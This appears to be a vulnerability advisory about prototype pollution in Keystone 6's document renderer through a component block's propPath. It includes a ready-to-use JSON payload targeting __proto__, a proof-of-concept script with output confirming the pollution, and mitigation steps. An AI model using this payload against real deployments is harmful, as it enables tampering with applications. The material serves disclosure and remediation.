Component block propPath can enable prototype pollution

Summary

Component block `propPath` allows arbitrary string keys. The renderer applies `propPath` with a recursive setter that does not block `__proto__`, `constructor`, or `prototype`, enabling prototype pollution when untrusted documents are rendered.

CVSS

CVSS v4.0 Base Score: 7.1 (CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:L/SA:L)

Affected Packages

- @keystone-6/fields-document
- @keystone-6/document-renderer

Affected Versions

- Keystone 6.x (main branch behavior)

References

- structure-validation.ts
- document-renderer index.tsx

Preconditions

- Application renders untrusted document JSON that includes component blocks.
- Consumer renders component blocks with `DocumentRenderer`.

Blackbox Test Steps

1. Use the public API or UI that accepts document JSON to store a document with a component block containing `propPath` entries like `__proto__`.
2. Render the stored document in the frontend.
3. Observe side effects such as unexpected properties on freshly created objects.

Blackbox Payload (document JSON)

```
[
  {
    "type": "component-block",
    "component": "evil",
    "props": {},
    "children": [
      {
        "type": "component-block-prop",
        "propPath": ["__proto__", "polluted"],
        "children": [{ "text": "x" }]
      }
    ]
  }
]
```

Observed Behavior

- After rendering, newly created objects may have `polluted` set on the prototype chain.

Verification (local)

```
pnpm -C packages/document-renderer exec node --import tsx -e 'const { DocumentRenderer } =
(await import("./src/index.tsx")).default; const document=[{type:"component-
block",component:"evil",props:{},children:[{type:"component-block-
prop",propPath:["__proto__","polluted"],children:[{text:"x"}]}]}]; const componentBlocks={
evil: () => null }; const root=DocumentRenderer({document, componentBlocks}); const
isElement=x=>x&&typeof x==="object"&&"type" in x&&"props" in x; const
flatten=ch=>Array.isArray(ch)?ch:[ch]; const walk=node=>{ if(node==null) return null;
if(Array.isArray(node)){ for(const n of node){ const r=walk(n); if(r) return r; } return null;
} if(!isElement(node)) return null; if(typeof node.type==="function"){ return
walk(node.type(node.props)); } const children = node.props && node.props.children!=null ?
flatten(node.props.children) : []; for(const c of children){ const r=walk(c); if(r) return r;
```

```
} return null; }; walk(root); console.log({ pollutedOnEmpty: ({}).polluted, pollutedOnNew:
(new (function(){})()).polluted });'
```

```
{
  pollutedOnEmpty: {
    '$$typeof': Symbol(react.transitional.element),
    type: [Function: DocumentNode],
    key: '0',
    props: { node: [Object], componentBlocks: [Object], renderers: [Object] },
    _owner: null,
    _store: {}
  },
  pollutedOnNew: {
    '$$typeof': Symbol(react.transitional.element),
    type: [Function: DocumentNode],
    key: '0',
    props: { node: [Object], componentBlocks: [Object], renderers: [Object] },
    _owner: null,
    _store: {}
  }
}
```

Impact

Prototype pollution can alter application behavior and security assumptions in downstream code.

Mitigation Guidance

- Reject `__proto__`, `constructor`, and `prototype` in `propPath`.
- Deep clone into objects created with null prototypes.

Whitebox Analysis

- `propPath` accepts arbitrary string keys in validation. structure-validation.ts
- `DocumentRenderer` applies `propPath` via a recursive setter without reserved key checks. document-renderer index.tsx

---

Revision #1
Created 2026-03-15 18:53:07 UTC by Aryma
Updated 2026-03-15 18:54:44 UTC by Aryma